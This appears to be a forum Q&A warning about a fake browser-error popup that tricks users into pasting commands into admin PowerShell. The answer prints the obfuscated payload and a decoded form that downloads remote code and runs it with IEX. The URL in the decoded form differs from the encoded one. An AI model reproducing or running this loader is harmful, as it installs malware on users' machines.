I visited a website which showed me the following popup:
The text reads:
Something went wrong while displaying this webpage.
There was an error during the latest update of browser version, causing some web pages to malfunction.
Follow these instructions to resolve the issue:
Click the 'Copy fix' button below.
Right-click on the Windows icon
Select 'Windows PowerShell (Admin)'
Right-click within the open terminal window.
Wait for the update to complete, then refresh the page.
Copy Fix Close
What should I do?
Do Not Follow These Instructions!!
This is a security attack. The website has been compromised, and is trying to get you to download a virus.
The “Copy Fix” text is a sequence of PowerShell commands that will download and execute a program on your machine, which will almost certainly be a virus.
If possible, report this problem to the website owners.
More detail:
The copied text expands to:
ipconfig /flushdns
$Data = ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("JGc5MUYgPSAnaHR0cHM6Ly9nYW1lLmVtaWxpZWJvdWNoZXIuZnIvY29udGVudC9maXguaHRtbCcKJHYzOEsgPSBAeyAnVXNlci1BZ2VudCcgPSAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwMi4wLjAuMCBTYWZhcmkvNTM3LjM2JyB9CiR6MDRRID0gSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkZzkxRiAtVXNlQmFzaWNQYXJzaW5nIC1IZWFkZXJzICR2MzhLCiRjb250ZW50ID0gJHowNFEuQ29udGVudApJRVggJGNvbnRlbnQKY2xlYXItaG9zdAo=")));
$DUMP = ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==")));
$LIC = $Data + "; " + $DUMP;
Invoke-Expression $LIC;
exit;
which in turn decodes to
$g91F = 'https://aatt-as.com/pc.html'
$v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' }
$z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K
$content = $z04Q.Content
IEX $content
clear-host
Set-Clipboard -Value " ";
which downloads and then executes a random file.